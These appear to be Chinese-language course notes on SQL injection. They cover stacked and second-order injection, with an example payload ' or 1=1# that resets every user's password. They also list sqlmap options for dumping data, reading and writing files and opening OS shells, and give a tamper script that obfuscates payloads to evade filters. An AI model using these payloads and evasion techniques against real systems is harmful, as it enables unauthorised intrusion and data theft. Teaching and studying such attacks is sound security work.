0%

第58天-SQL注入&二次攻击&堆叠执行&SQLMAP&Tamper编写&指纹修改&分析调试

➢ WEB攻防-SQL注入-堆叠注入&二次注入

➢ WEB攻防-SQL注入-SQLMAP&Tamper使用

一、堆叠注入

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

1、目标存在sql注入漏洞

2、目标未对”;”号进行过滤

3、目标中间层查询数据库信息时可同时执行多条sql语句

支持堆叠数据库:MYSQL MSSQL Postgresql等

二、二次注入

原理:注册(写入payload)-登录后修改-修改时以当前用户名为条件触发

黑盒思路:分析功能有添加后对数据操作的地方(功能点)

白盒思路:insert后进入select或update的功能的代码块

注入条件:插入时有转义函数或配置,后续有利用插入的数据

案例:

一个网站有一个注册接口,我们在注册的时候把用户名设置为’ or 1=1#,登录后我们对密码进行更改,密码更改sql:update user set password=’xxx’ where username=’用户名’,把我们恶意的名字带入含义就是把所有用户的密码都修改了

三、SqlMap使用

参考:https://www.cnblogs.com/bmjoker/p/9326258.html

1、数据猜解-库表列数据&字典

测试:常规数据获取

–current-db 获取当前数据库名字

–tables -D “” 数据库下所有的表

–columns -T “” -D “” 数据库下某表的所有字段

–dump -C “” -T “” -D “”

2、权限操作-文件&命令&交互式

测试:高权限操作

引出权限:

–is-dba 是否为数据库管理员 –privileges 查看权限

引出文件:

–file-read 读文件 –file-write 写文件 –file-dest 要写入文件的绝对路径

引出命令:

–os-cmd= 执行系统命令 –os-shell 系统交互shell –sql-shell 数据库交互shell

3、提交方法-POST&HEAD&JSON

测试:Post Cookie Json等

–data “” post请求

–cookie “” Cookie注入

-r 1.txt 最推荐这个最方便最全面

4、绕过模块-Tamper脚本-使用&开发

测试:base64+json注入&再加有过滤的注入

–tamper=base64encode.py

–tamper=test.py

temper编写(应对案例的过滤):

from lib.core.convertimport encodeBase64

from lib.core.enums import PRIORITY

priority = PRIORITY.LOW

def dependencies():

pass

def tamper(payload,**kwargs):

if payload:

payload = payload.replace(‘SELECT’,’sElEct’)

payload = payload.replace(‘select’,’sElEct’)

payload = payload.replace(‘OR’,’Or’)

payload = payload.replace(‘or’,’Or’)

payload = payload.replace(‘AND’,’And’)

payload = payload.replace(‘and’,’And’)

payload = payload.replace(‘XOR’,’xOr’)

payload = payload.replace(‘xor’,’xOr’)

payload = payload.replace(‘SLEEP’,’SleeP’)

payload = payload.replace(‘sleep’,’SleeP’)

payload = payload.replace(‘ELT’,’Elt’)

return encodeBase64(payload,binary=False)if payload else payload

应到具体实战场景,可以让ai编写,也可以自己了解一下脚本格式自行编写

5、分析拓展-代理&调试&指纹&风险&等级

a、后期分析调试:

-v=(0-6)#详细的等级(0-6)

–proxy “http://xx:xx“ #代理注入

b、打乱默认指纹:

绕过流量设备识别sqlmap

–user-agent “” #自定义user-agent

–random-agent #随机user-agent

–time-sec=(2,5) #延迟响应,默认为5

c、使用更多的测试:测试Header注入

–level=(1-5) #要执行的测试水平等级,默认为1

–risk=(0-3) #测试执行的风险等级,默认为1